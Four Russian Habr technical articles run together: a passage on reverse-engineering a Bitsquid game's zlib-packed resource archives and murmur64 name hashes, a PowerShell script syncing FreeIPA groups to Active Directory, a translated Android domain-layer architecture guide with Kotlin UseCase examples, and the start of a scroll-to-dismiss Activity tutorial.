+------------+-----+----------------------------+----------------------+
0x00000010 24803 -> 65536 / 0x000060f3 _ 16 8:7:28:0:1:441d52d8
0x000060f7 21186 -> 65536 / 0x0000b3b9 _ 4 8:7:28:0:1:74fe0bf1
0x0000b3bd 16694 -> 65536 / 0x0000f4f3 _ 4 8:7:28:0:1:4bdbbd7f
0x0000f4f7 17028 -> 65536 / 0x0001377b _ 4 8:7:28:0:1:4cae9920
0x0001377f 16200 -> 65536 / 0x000176c7 _ 4 8:7:28:0:1:aa6b718e
0x000176cb 14445 -> 65536 / 0x0001af38 _ 4 8:7:28:0:1:e190c104
[поскипано...]
0x04ec0fb4 17108 -> 65536 / 0x04ec5288 _ 4 8:7:28:0:1:952f8201
0x04ec528c 17139 -> 65536 / 0x04ec957f _ 4 8:7:28:0:1:373c403f
0x04ec9583 22442 -> 65536 / 0x04eced2d _ 4 8:7:28:0:1:8e95fe5c
0x04eced31 4215 -> 65536 / 0x04ecfda8 _ 4 8:7:28:0:1:93e0ac5a
- 1483 valid compressed streams found
- 0x04d7e61c -> 0x05cb0000 bytes covering the 98% of the file
```
Как видим, 98% содержимого файла распаковалось в кучу сегментов по 64кБ каждый. Проанализировав их содержимое, можно заметить, что они представляли из себя единое целое — один большой файл, который был просто порезан на кусочки по 64кБ и затем сжаты по отдельности zlib-ом. В принципе могло быть и наоборот — каждый исходный ресурс сжат отдельно и потом все они слеплены в один большой файл. Но в нашем случае файл один, поэтому распаковать его можно такой командой:
**offzip -a -1 9e13b2414b41b842 unp 0**
Опция -1 означает, что все обнаруженные распакованные сегменты нужно соединить. В итоге мы получаем распакованный файл, который опять же надо изучить. Помотав его туда-сюда, можно обнаружить, что внутри имеются и lua-скрипты, и звуки, и текстуры, теперь уже несжатые, но слепленные все вместе.
Наша задача — разделить файл на отдельные ресурсы, притом желательно каким-то образом узнать их названия. Обратимся к началу файла. Здесь у нас что-то непонятное, потом много нулей, и потом видимо начинается какая-то таблица. Похоже что строки в ней имеют длину 16 байт, причем интересно, правая половина всегда разная, а в левой половине наблюдаются повторяющиеся числа (выделены зеленым). Заметим также, что название самого файла иногда повторяется внутри него в одной из строчек.
Далее, оказывается, что последняя строка в таблице почему-то такая же, как первая. К тому же, если посмотреть несколько файлов, похоже, что первое число в них — это как раз число строк таблицы (правда, минус один). Сопоставив все эти данные, можно заключить, что это таблица, где записаны имена ресурсов в виде хеша, отдельно имя ресурса и его тип. А последняя строка — это уже не таблица, а информация о первом ресурсе, где в начале видимо как раз идёт его хеш, а потом должны быть размер, другие параметры, и сам файл. Чтобы убедиться в этом, поищем остальные числа в файле, и, конечно же, они находятся, причём именно в той последовательности, как идут в таблице.
Хорошо, теперь осталось разобрать формат записей и попытаться угадать захешированные названия. В принципе может быть так, что игра обращается к ресурсам уже по хешу, и исходных названий в ней не осталось, в таком случае названий мы не найдём. Но к счастью, чаще всего их можно найти, угадать, или вычислить по коду или скриптам. Кстати, насчет скриптов: мы уже видели, что здесь используется lua, значит, скорее всего, расширение для таких файлов будет «lua». Вид используемого хеша можно определить по наличию в коде известных констант. Например, в [FNV](https://ru.wikipedia.org/wiki/FNV) используется число 0x811C9DC5. Если же применяется собственный алгоритм, он обычно простой, типа сложения со сдвигом, но найти его в коде будет уже не так просто.
Я уже было собрался искать 0x811C9DC5, но решил для начала погуглить, и оказалось, что разработчик bitsquid у себя в блоге как-то рассказывал о преимуществах хеша murmur64. Как у любого хеша, у murmur есть разные версии, но 64-битный — это как раз 8 байтов, как в нашей таблице. Исходный код нашелся [здесь](https://github.com/Geenz/bitsquid-foundation-git/blob/master/murmur_hash.cpp). Скомпилируем его и попробуем посчитать хеш строки «lua». Правда, мы не знаем, чему равен seed, поэтому пока попробуем взять ноль.
Получаем murmur64 от «lua» = A14E8DFA2CD117E2
Это число как раз часто встречается в нашем файле! Поздравляем, теперь мы знаем, как игра считает хеш. Если бы seed не был нулём, пришлось бы опять-таки смотреть или отлаживать код, чтобы это узнать. Это может быть константа, или длина текстовой строки, а вообще это может быть что угодно. Например, первый символ, склеенный с длиной строки.
Ну хорошо, мы знаем одно из расширений, неужели теперь придётся по одному угадывать все остальные? Возможно, бывает и так. Но давайте попробуем поискать где-то их список, так сказать, в открытом виде. Он может быть в одном из lua-скриптов, или прямо в исполняемом файле, как в данном случае:
В середине я выделил строки, которые точно являются типами ресурсов. Но где этот список начинается, и где кончается? Это можно определить экспериментально.
Попробуем для примера murmur64 от «unit» = E0A48D0BE9A7453F
И действительно, такой код есть. Вроде бы очевидное название, но угадать его с первого раза было бы не так просто. А звуковые банки так вообще называются «timpani\_bank», вот уж ни за что не угадал бы.
Итак, теперь мы знаем все типы ресурсов (расширения файлов), но как узнать их имена? Они могут быть в ресурсах или в коде. Посмотрим например .ini файл, который лежит рядом с архивами.
```
boot_package = "resource_packages/boot"
boot_script = "scripts/boot/boot"
pdxigs = {
game_name = "Showdown"
game_version = "1.0.0"
server_url = "http://xxxxxxxx.xxxxxxxxxxxxx.com/xxxx"
}
steam = {
notification_position = "bottom-left"
}
timpani = "content/sounds/shoot"
```
Вот и первая зацепка — загрузочный пакет называется «resourse\_packages/boot». Посчитаем хеш этой строки — 9E13B2414B41B842, он есть в нашем списке. В нём наряду с другими файлами содержится загрузочный скрипт
«scripts/boot/boot» = BBF3D6DD1B2AC672.
В нём внутри ссылки на другие скрипты, например, «scripts/boot/boot\_common». В этом коммоне, в свою очередь, есть множество строк, в том числе
«resource\_packages/base\_game\_resources» = 0D42C15E8F2B473F
Видимо это название пакета, где содержатся основные ресурсы игры. Проверим — действительно есть такой. Так постепенно можно теоретически найти все числа. Естественно, это делается не вручную, а пишутся программы или скрипты, ведь в средней игре несколько десятков или даже сотен тысяч ресурсов. Процесс разгадывания иногда затягивается надолго, и всё равно зачастую в итоге остаются некоторое количество безымянных файлов. Тем не менее, большинство имён обычно удаётся найти, после чего составляется список, который используется при распаковке ресурсов и модификации игры.
Итак, предположим, мы нашли все названия, и теперь ресурсы у нас имеют осмысленные имена и расширения. Вернёмся к формату файла.
После таблицы — списка хешей (выделена желтым) начинаются отдельные записи для всех ресурсов. Как мы уже выяснили, первая строчка (выделена зеленым) — это имя и тип ресурса. Здесь 82645835E6B73232 = «config», правую часть (имя) мы пока не знаем. Попробуем угадать, что же идёт дальше. По всей видимости, тут у нас несколько 32-битных чисел. Сначала единичка, потом два ноля, дальше еще одно число (выделено розовым), похожее на размер, и еще один ноль. Неизвестно, что это, но у всех файлов эти числа именно такие. Потом начинается собственно содержимое ресурса. Проверим его длину. Прибавим размер 045С к смещению, где начинается запись, 0518, получим 0974.
Да, действительно, здесь уже следующий хеш. 9EFE0A916AAE7880 = это «font», далее всё то же самое, что в первой записи и длина фонта — 1838. Далее идёт сам фонт, он начинается большой серией плавающих чисел, их тоже обычно легко видно невооружённым глазом. Например 42000000 — это 32, 41С80000 — это 25, и конечно 3F800000 — самое часто встречающееся в игровых файлах плавающее число — это 1.
Вроде бы формат записей в архиве мы разобрали. Похоже, единственное, что у нас есть для каждого ресурса, это его размер. Странно, что нет смещения, ну, бывает и так. Остальные числа — нули, возможно, они что-то значат, но нам это неизвестно. Проверим на всякий случай последнюю запись, прибавив длину последнего ресурса к адресу его начала. Получаем 4ECFDA0 — это как раз общая длина файла. Похоже, в конце больше ничего нет, значит можно приступать к написанию программы распаковки. Она будет читать файл пакета и разделять его на ресурсы. Если хеш имеется в нашем списке — сохранять файлы с правильным именем, если нет — в качестве имени берётся сам хеш.
Запускаем программу — и она успешно распаковывает кучу файлов из нашего пакета. Проверим их содержимое. Текстуры действительно получились корректными DDS-файлами, звуки проигрываются как обычные OGG, остальные файлы (например, модели юнитов) хотя и имеют какой-то особый формат, тоже выглядят правдоподобно.
Воодушевленные успехом, начинаем распаковку всех остальных файлов. И тут нас ожидает Unhandled Exception. Практически все файлы распаковались, кроме нескольких. Так обычно и бывает. Среди тысяч файлов обязательно найдётся один-два, упакованных как-нибудь нестандартно, или с дополнительными параметрами. Посмотрим, что не так с этими файлами. Оказывается, единичка после хеша была неспроста. В этом файле здесь не единичка, а семёрка. Мало того, при распаковке других игр, сделанных на том же движке, оказалось, что и нули там тоже не всегда нули. Но и это ещё не всё. Есть один файл, структура которого, кажется, вообще нарушена. При попытке найти в нём очередной ресурс оказывается, что оставшегося куска файла не хватает для ресурса такой длины.
Посмотрим запись об этом конкретном ресурсе. Вроде бы всё правильно: хеш, после него единичка, два нуля, потом размер. Как же так? Может быть, файл неправильно распаковался? Ну-ка, попробуем ещё раз. Возможно, в мелькании сотен строк вывода offzip мы что-то не заметили?
```
0x0286c4e2 65196 -> 65536 / 0x0287c38e _ 4 8:7:28:0:1:340433a1
0x0287c392 65242 -> 65536 / 0x0288c26c _ 4 8:7:28:0:1:27dce3e7
0x0288c270 65415 -> 65536 / 0x0289c1f7 _ 4 8:7:28:0:1:b9bd6cd0
. 0x028cac59....................
- zlib Z_DATA_ERROR, the data in the file is not in zip format
or uses a different windowBits value (-z). Try to use -z -15
0x028cc207 65533 -> 65536 / 0x028dc204 _ 196624 8:7:28:0:1:54aa0921
0x028dc208 65513 -> 65536 / 0x028ec1f1 _ 4 8:7:28:0:1:c4b3abd4
0x028fc1f9 65533 -> 65536 / 0x0290c1f6 _ 65544 8:7:28:0:1:890356ae
0x0290c1fa 65534 -> 65536 / 0x0291c1f8 _ 4 8:7:28:0:1:934a442c
0x0292c200 65496 -> 65536 / 0x0293c1d8 _ 65544 8:7:28:0:1:c21356fb
0x0293c1dc 65521 -> 65536 / 0x0294c1cd _ 4 8:7:28:0:1:5bf3ea59
0x0294c1d1 65514 -> 65536 / 0x0295c1bb _ 4 8:7:28:0:1:d7c697a0
```
Да, действительно, какая-то проблема. Именно в этом файле присутствуют сегменты, которые не распаковались. Кстати, что это за ресурс такой? Посмотрим содержимое файла по смещению 0x028cac59, или чуть раньше.
А это как раз «timpani\_bank». Ну конечно! Ведь ogg-поток может содержать настолько хаотичный поток битов, что zlib просто не может его сжать, в итоге из 92-МБ файла несколько 64-кбайтных сегментов после сжатия получились даже больше, чем 64к. Видимо разработчики резонно решили, что в таком случае нет смысла их сжимать, и поместили в архив прямо как было. Поэтому offzip не смог найти там заветные байты 78 9C, и в итоге просто пропустил их при распаковке.
Никакого флага/признака для отличия сжатых и несжатых сегментов в структуре файла нет, значит игра поступает просто: если сегмент имеет размер меньше б4к — значит он упакован, если же ровно 64к — то нет. Однако и тут не всё так просто. Были случаи (в другой игре, на другом движке), когда после упаковки сегмента его длина оставалась точно равной 64к. И вот тут уже никак не определить, сжатый он или нет. Хотя вероятность такого совпадения очень мала, это тоже придётся учитывать.
Вот так, постепенно, сравнивая и анализируя файлы, чаще всего можно разобрать формат данных, даже не прибегая к отладке кода. Не буду вдаваться в подробности, как определить, что это была за семёрка, и что это были за нули, которые не всегда нули, ведь всех особенностей формата на одном примере всё равно не разгадать. А если найдутся другие игры, которые их используют — тогда и будем разбираться. | https://habr.com/ru/post/261561/ | null | ru | null |
# Интеграция FreeIPA с Active Directory
В IT-инфраструктуре [HOSTKEY](https://hostkey.ru/) для хранения учетных данных и контроля доступа традиционно использовался FreeIPA. Когда появилась необходимость управлять офисными компьютерами с Windows и оборудованием Cisco Systems, пришлось задуматься об интеграции с Active Directory. Рассказываем, как она была реализована в нашей локальной сети.
Для решения задачи можно интегрировать клиентов Linux непосредственно в домен Active Directory и управлять ими с контроллера домена. Второй вариант — интеграция, основанная на синхронизации данных или доверии домена (AD trust). В этом случае учетные записи пользователей с ранее определенными атрибутами реплицируются в другой службе каталогов и становятся доступными для клиентов на Linux.
### Недостатки AD trust
Хотя на AD trust тратятся значительные ресурсы разработчиков, это решение имеет существенные минусы и подходит компаниям, инфраструктура которых изначально основана на Active Directory. Мы же работали с FreeIPA, поэтому внедрение требовало значительных трудозатрат: фактически всю систему управления учетными записями пользователей пришлось бы создавать заново.
Второй минус — необходимость постоянной поддержки серверов с AD и FreeIPA,так как при падении связи между ними сервер с FreeIPA становится бесполезен и нарушается работа всей компании. Авторизация — чувствительный участок, который должен быть максимально отказоустойчивым. AD trust в подобной ситуации — дополнительная точка отказа.
### Плюсы и минусы Windows sync
Вариант с механизмом Windows sync из FreeIPA предполагает полную синхронизацию всех учетных данных по протоколу LDAP. При этом FreeIPA и Active Directory остаются автономными решениями, и в случае повреждения любого сервера откажут только подключенные к нему сервисы, а не вся инфраструктура. Пользователь работает через одно окно с FreeIPA: например, в нем можно изменить пароль учетной записи одновременно для основанной на Windows и на Linux инфраструктуре.
> Мы остановились на этом варианте, но решили его доработать, поскольку Windows sync не предназначен для управления группами.
>
>
К сожалению, механизм синхронизации Windows sync во FreeIPA не считается приоритетным и не развивается, особенно в вопросах управления группами. Нам же группы были необходимы, чтобы организовать структуру персонала по отделам или в ином произвольном порядке. Такой подход позволяет прописывать правила и политики на группу, а не на каждого пользователя в отдельности, что значительно упрощает управление учетными записями и доступом к данным, а также доставку ПО. Другое преимущество групп — они могут быть вложенными.
Например, структура отдела DEVOPS у нас состоит из следующих подгрупп, для каждой из которых определены наборы прав и политик, а также необходимых для работы сервисов:
Созданную учетную запись сотрудника мы добавляем в определенную подгруппу, например в младших инженеров. В итоге новый пользователь оказывается в целом наборе групп: пользователи Rocket.Chat, Jira и т. д. Он автоматически получает доступ ко всем прописанным для подгруппы сервисам. Такую схему нетрудно построить и путем создания полностью аналогичных групп во FreeIPA и AD, но администрировать их придется вручную. Минусы очевидны: будет тратиться время на выполнение рутинных задач, а также (и это главное) возникнут потенциальные угрозы безопасности инфраструктуры. Например, простая смена прав доступа может привести к сбоям в производственном процессе из-за ошибок ручной настройки.
### Решение
Нам была необходима автоматическая синхронизация, которую пришлось реализовать самостоятельно на основе [module manage-freeipa](https://www.powershellgallery.com/packages/Manage-FreeIPA/0.9). В итоге был написан скрипт, который получает информацию о группах во FreeIPA, включая вложенные подгруппы, и переносит ее в AD. Приводим пошаговое описание алгоритма:
1. Импорт модуля module manage-freeipa.
2. После импорта модуля мы подключаемся к серверу с помощью заранее добавленных учетных данных:
```
$IPAURL = "freeipa_URL"
$IPAUSER = "USER"
$IPAPASS = "PASSWORD"
$ADOUUSERS = "*OU=users,OU=ipa,DC=win,DC=EXAMPLE,DC=COM"
$ADOUGROUPS = "*OU=groups,OU=ipa,DC=win,DC=EXAMPLE,DC=COM"
```
3. Затем в AD запрашиваем список групп из OU:
```
$OU = Get-ADOrganizationalUnit -SearchBase "OU=groups,OU=ipa,DC=win,DC=EXAMPLE,DC=COM" -Filter *
```
4. Фильтруем группу trust admins, которая не участвует в синхронизации данных между FreeIPA и AD:
```
$groupsAD = $OU | ForEach-Object {Get-ADGroup -SearchBase $_.DistinguishedName -Filter *} | Where {$_.name -notlike "trust admins"}
```
5. Получаем список всех групп в FreeIPA, за исключением trust admins и групп, которые используются исключительно в управляемой FreeIPA инфраструктуре. Выбор осуществляется только по полю cn:
```
$groupsIPA = Find-IPAGroup | Where {$_.dn -notlike "cn=invapi*" -and $_.dn -notlike "cn=jira*" -and $_.dn -notlike "cn=trust admins*"} | Select-Object -Property cn
```
6.Существует ряд групп, которые есть только в AD, мы ищем их и убираем из общего списка:
```
$groupsOnlyAD = $groupsAD.name | ?{$groupsIPA.cn -notcontains $_}
$listGroupsAD = $groupsAD.Name | ?{$groupsOnlyAD -notcontains $_}
```
7. Берем список из FreeIPA и отсекаем все группы, которые есть в AD. В итоге остается только список новых групп, которые есть в FreeIPA, но отсутствуют в AD:
```
$listAddGroups = $groupsIPA.cn | ?{$groupsAD.Name -notcontains $_}
```
8. Далее идет команда на добавление этих групп в AD:
```
$listAddGroups | ForEach-Object {New-ADGroup $_ -path 'OU=groups,OU=ipa,DC=win,DC=EXAMPLE,DC=COM' -GroupScope Global -PassThru -Verbose}
```
9. Затем идет цикл операций для каждой группы AD, которая есть в списке **$ListGroupsAD**.
9.1. Получаем список пользователей — участников группы в AD:
```
$listGroupsAD |
ForEach { $Groupname = $_
$listGroupMembersUsersAD = Get-ADGroupMember $Groupname | Where {$_.distinguishedName -like $ADOUUSERS} | select SamAccountName
```
9.2. Получаем список подгрупп участников группы в AD:
```
$listGroupMembersGroupsAD = Get-ADGroupMember $Groupname | Where {$_.distinguishedName -like $ADOUGROUPS} | select SamAccountName
```
9.3. Получаем список пользователей этой группы во FreeIPA:
```
$listGroupMemberUserIPA = Invoke-FreeIPAAPIgroup_show -group_name $Groupname | Select-Object -Property member_user
```
9.4. Получаем список подгрупп этой группы во FreeIPA:
```
$listGroupMemberGroupIPA = Invoke-FreeIPAAPIgroup_show -group_name $Groupname | Select-Object -Property member_group
```
9.5. Списки подгрупп и пользователей в FreeIPA и AD сравниваются (список пользователей FreeIPA вычитается из списка пользователей из AD и наоборот). Формируются списки пользователей и подгрупп на добавление и удаление:
```
$delListMembers = $listGroupMembersUsersAD.SamAccountName | ?{$listGroupMemberUserIPA.member_user -notcontains $_}
$delListGroups = $listGroupMembersGroupsAD.SamAccountName | ?{$listGroupMemberGroupIPA.member_group -notcontains $_}
$addListMembers = $listGroupMemberUserIPA.member_user| ?{$listGroupMembersUsersAD.SamAccountName -notcontains $_}
$addListGroups = $listGroupMemberGroupIPA.member_group | ?{$listGroupMembersGroupsAD.SamAccountName -notcontains $_}
```
9.6. Далее идет проверка, есть ли кто-то в списке на удаление пользователей и подгрупп: если никого нет, следующий шаг пропускается:
```
if (! ([string]::isnullorempty($delListMembers)))
{
$delListMembers | ForEach-Object {Remove-ADGroupMember $Groupname $_ -Confirm:$false}
}
if (! ([string]::isnullorempty($delListGroups)))
{
$delListGroups | ForEach-Object {Remove-ADGroupMember $Groupname $_ -Confirm:$false}
}
```
9.7. Такая же проверка выполняется на добавление пользователей и подгрупп:
```
if (! ([string]::isnullorempty($addListGroups))){
$addListGroups | ForEach-Object { Add-AdGroupMember -Identity $Groupname -members $_ }
}
if (! ([string]::isnullorempty($addListMembers)))
```
9.8. Перед добавлением пользователя в группу в AD необходимо проверить, есть ли он в AD. Весь цикл операций пункта 9 выполняется для каждой группы списка **$listGroupsAD,** полученного в пункте 6. После завершения происходит отключение сессии от сервера FreeIPA:
```
$addListMembers |
ForEach-Object { try
{
Get-ADUser -Identity $_
Add-AdGroupMember -Identity $Groupname -members $_
}
catch {}
}
}
}
Disconnect-IPA
```
Скрипт запускается планировщиком заданий каждые 15 минут.
Выводы
------
Скрипт значительно упростил управление учетными записями пользователей и введение новых сотрудников в рабочий процесс, а также повысил общую безопасность внутренней IT-инфраструктуры компании [HOSTKEY](https://hostkey.ru/). Дальше мы планируем настроить интеграцию FreeIPA с Active Directory напрямую через API без прокладки в виде [module manage-freeipa](https://www.powershellgallery.com/packages/Manage-FreeIPA/0.9). Это придется сделать по соображениям безопасности, поскольку последний раз модуль обновлялся два года назад. Существует риск, что он будет заброшен разработчиками.
[А здесь можно прочесть, как реализовать проксирование административной панели FreeIPA через HAProxy.](https://habr.com/ru/company/hostkey/blog/679732/)
---
*А специальный промокод*«***Я С ХАБРА***»*откроет врата щедрости: назовите его консультанту на сайте при размещении заказа — и получите дополнительную скидку.*[*Платить можно как всегда в рублях*](https://hostkey.ru/news/51-mezhdunarodnyj-khosting-provajder-hostkey-prodolzhaet-prinimat-oplatu-v-rublyakh-za-uslugi-v-evrope-i-ssha/)*с НДС российской компании или в евро — компании в Нидерландах.* | https://habr.com/ru/post/669978/ | null | ru | null |
# Гайд по архитектуре приложений для Android. Часть 4: доменный слой
> В конце декабря 2021-го Android обновил рекомендации по архитектуре мобильных приложений. Публикуем перевод гайда в пяти частях:
>
> [Обзор архитектуры](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer)
>
> [Слой UI](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer1)
>
> [Cобытия UI](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer2)
>
> Доменный слой *(вы находитесь здесь)*
>
> [Слой данных](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer3)
>
>
Доменный слой *не является обязательным* и располагается между слоями UI и данных.
Роль доменного слоя в архитектуре приложенияДоменный слой отвечает за инкапсуляцию сложной или простой бизнес-логики, которую переиспользуют несколько ViewModel. Этот слой необязателен: не всем приложениям он требуется. Его следует внедрять только при необходимости: например, при работе со сложной логикой или чтобы переиспользовать логику.
Преимущества доменного слоя:
* Помогает избежать дублирования кода.
* Улучшает читаемость кода в классах, которые используют классы из доменного слоя.
* Облегчает тестирование приложения.
* Позволяет избежать раздутых классов благодаря разделению ответственностей.
Чтобы классы оставались облегчёнными, каждый класс UseCase должен отвечать только за одну функциональность и не должен содержать изменяемых данных. С изменяемыми данными лучше работать в слоях UI или данных.
### Правила именования в гайде
В этом гайде классы UseCase именуются тем действием, за которое они отвечают. Правило выглядит следующим образом:
*Глагол в настоящем времени* + *существительное/объект (не обязательно)* + *UseCase*
Например: `FormatDateUseCase`, `LogOutUserUseCase`, `GetLatestNewsWithAuthorsUseCase` или `MakeLoginRequestUseCase`.
### Зависимости
В архитектуре классического приложения UseCase-классы размещают между моделями ViewModel из слоя UI и классами Repository из слоя данных. Следовательно, UseCase-классы обычно зависят от Repository-классов.
Вместе они обмениваются данными со слоем UI так же, как это делают классы Repository — с помощью функций callback (в Java) или корутин (в Kotlin). Подробнее об этом можно почитать в гайде «[Слой данных](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer3)».
Например, у вас в приложении может быть UseCase-класс, который берёт данные из новостного репозитория и репозитория авторов, а затем их объединяет:
```
class GetLatestNewsWithAuthorsUseCase(
private val newsRepository: NewsRepository,
private val authorsRepository: AuthorsRepository
) { /* ... / }
```
Так как классы UseCase содержат переиспользуемую логику, их могут использовать и другие классы UseCase. Вполне нормально, если у вас в доменном слое есть несколько уровней классов UseCase.
UseCase из следующего примера может воспользоваться классом `FormatDateUseCase`, если несколько классов из слоя UI используют данные о часовом поясе для отображения верного сообщения на экране:
```
class GetLatestNewsWithAuthorsUseCase(
private val newsRepository: NewsRepository,
private val authorsRepository: AuthorsRepository,
private val formatDateUseCase: FormatDateUseCase
) { / ... / }
```
Пример графика зависимостей для класса UseCase, который зависит от других классов UseCase### Вызов классов UseCase в Kotlin
В Kotlin экземпляр класса UseCase можно сделать вызываемым как функцию, определив функцию `invoke(`) с помощью модификатора `operator`. Приведём пример:
```
class FormatDateUseCase(userRepository: UserRepository) {
private val formatter = SimpleDateFormat(
userRepository.getPreferredDateFormat(),
userRepository.getPreferredLocale()
)
operator fun invoke(date: Date): String {
return formatter.format(date)
}
}
```
В этом примере метод `invoke()` в `FormatDateUseCase` позволяет вызывать экземпляры класса так, как будто это функции. Метод `invoke()` не ограничивается какой-то одной конкретной сигнатурой. Его можно объявить с любым количеством параметров и с любым типом возвращаемого значения и даже определить в классе перегруженные версии `invoke()` с разными типами параметров. В таком случае класс UseCase из предыдущего примера можно было бы вызвать следующим образом:
```
class MyViewModel(formatDateUseCase: FormatDateUseCase) : ViewModel() {
init {
val today = Calendar.getInstance()
val todaysDate = formatDateUseCase(today)
/ ... /
}
}
```
Подробнее об операторе `invoke()` можно почитать в [документации по Kotlin](https://kotlinlang.org/docs/operator-overloading.html#invoke-operator).
### Жизненный цикл
У классов UseCase нет собственных жизненных циклов: они ограничены жизненным циклом классов, которые их используют. То есть UseCase можно вызывать из классов в слое UI, из служб или даже из класса `Application`. Так как классы UseCase не должны содержать изменяемые данные, следует создавать новый экземпляр UseCase класса каждый раз, когда вы передаете его в качестве зависимости.
### Потоки
Классы UseCase из доменного слоя должны быть *main-safe*: вызывать их из главного потока должно быть безопасно. Если UseCase-классы выполняют продолжительные операции, которые блокируют поток, они должны отвечать за перенос логики в соответствующий поток. Однако сначала убедитесь, что эти операции нельзя перенести в другие слои иерархии.
Как правило, сложные вычисления выполняются в слое данных, чтобы их можно было переиспользовать или кэшировать. К примеру, требовательную к ресурсам операцию для длинного списка лучше перенести в слой данных, чем в доменный слой, если результат нужно будет кэшировать, а затем переиспользовать на нескольких экранах приложения.
В примере ниже показан класс UseCase, который работает в фоновом потоке:
```
class MyUseCase(
private val defaultDispatcher: CoroutineDispatcher = Dispatchers.Default
) {
suspend operator fun invoke(...) = withContext(defaultDispatcher) {
// Long-running blocking operations happen on a background thread.
}
}
```
### Типичные для доменного слоя задачи
#### Простая переиспользуемая бизнес-логика
Повторяющуюся в слое UI бизнес-логику следует инкапсулировать в UseCase класс: будет легче вносить изменения везде, где она используется. Кроме того, так её можно тестировать изолированно.
Вспомним пример `FormatDateUseCase`, описанный ранее. Если бизнес требования к формату даты изменятся в будущем, весь код, который потребуется изменить, будет сконцентрирован в одном месте.
**Важно:** в некоторых случаях логику, находящуюся в классах UseCase, можно сделать частью статических методов в классах **Util**. Однако такой подход использовать не рекомендуется: классы **Util** зачастую тяжело найти и тяжело разобраться в их функциональности. Более того, у нескольких классов UseCase может быть одна и та же функциональность (переключение потоков и обработка ошибок в базовых классах), от которой при масштабировании выиграют растущие команды.
#### Слияние репозиториев
В новостном приложении могут быть классы NewsRepository и AuthorsRepository, которые работают с данными о новостях и авторах соответственно. Класс Article, к которому открывает доступ NewsRepository, содержит только имя автора. Представим, что появится необходимость показать на экране больше информации об авторе. Её можно получить из AuthorsRepository.
Схема зависимостей класса UseCase, который объединяет данные из нескольких классов RepositoryТак как требуемая логика задействует несколько классов Repository и может стать довольно сложной, нужно создать класс `GetLatestNewsWithAuthorsUseCase`, чтобы отделить логику от ViewModel и сделать код читабельнее. Кроме того, так эту логику можно тестировать изолированно и переиспользовать в различных частях приложения.
```
/**
This use case fetches the latest news and the associated author.
*/
class GetLatestNewsWithAuthorsUseCase(
private val newsRepository: NewsRepository,
private val authorsRepository: AuthorsRepository,
private val defaultDispatcher: CoroutineDispatcher = Dispatchers.Default
) {
suspend operator fun invoke(): List =
withContext(defaultDispatcher) {
val news = newsRepository.fetchLatestNews()
val result: MutableList = mutableListOf()
// This is not parallelized, the use case is linearly slow.
for (article in news) {
// The repository exposes suspend functions
val author = authorsRepository.getAuthor(article.authorId)
result.add(ArticleWithAuthor(article, author))
}
result
}
}
```
Логика задействует все элементы списка новостей. Несмотря на то, что слой данных является main-safe, нужно позаботиться, чтобы этот процесс не блокировал главный поток, ведь мы не знаем, сколько элементов ему придётся обработать. Поэтому класс UseCase переносит работу в фоновый поток при помощи диспатчера по умолчанию.
> **Важно:** [Room library](https://developer.android.com/training/data-storage/room) позволяет запрашивать, какие [взаимосвязи](https://developer.android.com/training/data-storage/room/relationships) существуют между различными сущностями в базе данных. Если база данных — [source of truth](https://developer.android.com/jetpack/guide/data-layer#source-of-truth), можно создать запрос, который всю эту работу выполнит за вас. В таком случае лучше создать Repository класс (например, **NewsWithAuthorsRepository)** вместо класса UseCase.
>
>
### Переиспользование
Помимо слоя UI, доменный слой могут переиспользовать другие классы: например, классы Service или класс Application. Кроме того, если другие платформы, такие как TV или Wear используют общую кодовую базу с мобильным приложением, их слой UI также может переиспользовать классы UseCase и получить все преимущества доменного слоя.
### Тестирование
[Общие рекомендации по тестированию](https://developer.android.com/training/testing) применимы к тестированию доменного слоя. В случае с UI-тестами разработчики, как правило, используют фиктивные классы Repository. Их же рекомендуется использовать и для тестирования доменного слоя.
> **Читайте далее**
>
> [Обзор архитектуры](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer)
>
> [Слой UI](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer1)
>
> [Cобытия UI](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer2)
>
> [Слой данных](https://go.surf.dev/hr/android/habr/architecture_guide_domain_layer3)
>
> | https://habr.com/ru/post/653673/ | null | ru | null |
# Рецепты под Android: Scroll-To-Dismiss Activity
Привет! Сегодня мы расскажем, как за минимальное количество времени добавить в свою Activity поведение Scroll-To-Dismiss. Scroll-To-Dismiss – это популярный в современном мире жест, позволяющий закрыть текущий экран и вернуться в предыдущую Activity.
В один прекрасный день нам поступил реквест на добавление такой функциональности в одно из наших новостных приложений. Если вам интересно, как легко добавить такую функциональность в уже существующую Activity и избежать возможных проблем – добро пожаловать под кат.
Что имеем?
==========
Решение "в лоб" довольно очевидное: использовать одну Activity и пару фрагментов, положение которых можно регулировать в рамках одной Activity.
У нас такой подход вызывал некоторые сомнения, так как, приложение уже имело сложившуюся навигацию: отдельная Activity для списка новостей и отдельная Activity для чтения самой статьи.
Несмотря на то, что функционально список статей и чтение статьи были уже декомпозированы в отдельные соответствующие фрагменты, это не спасало. Так как сами фрагменты требовали от хостящей их Activity иметь определенный интерфейс и реализацию (как это обычно и бывает с фрагментами). Помимо этого, UI этих экранов довольно сильно различался: разный набор кнопок меню, разное поведение тулбара (Behavior).
Суммарно это все делало объединение двух экранов в один ради одного дизайнерского твика иррациональным.
Сам паттерн навигации, как уже говорилось, довольно популярный. Так что неудивительно, что в Android API уже есть некоторые возможности по его реализации. Помимо уже озвученного решения "в лоб" можно было бы использовать:
* BottomSheetFragmentDialog. Это новый FragmentDialog, доступный в дизайнерской библиотеке от Google. Его поведение весьма похоже на нужное нам, но его все равно нужно хостить в рамках одной с контентом Activity, чего мы не хотим. Более того, BottomSheetFragmentDialog требует в layout-е наличия CoordinatorLayout, что вам может не понравиться. А еще этот диалог можно "смахнуть" только вниз.
* Библиотеки. Android comunity богато на библиотеки на все случаи жизни. Для scroll-to-dismiss тоже нашлась парочка: SwipeBack и android-slidingactivity.
К сожалению, они нам тоже не подошли, так как или требуют наличия кастомной layout-обертки, поведение которой конфликтует с поведением внутренних компонентов, или имеют слишком закрытый для настройки API.
Движение – это жизнь
====================
Менять положение Activity у нас не очень получится, зато мы можем перемещать её контент. Мы будем следить за движением пальца пользователя и соответствующе менять координаты самого верхнего контейнера в иерархии. Давайте сделаем базовый класс, который можно будет переиспользовать для любой Activity.
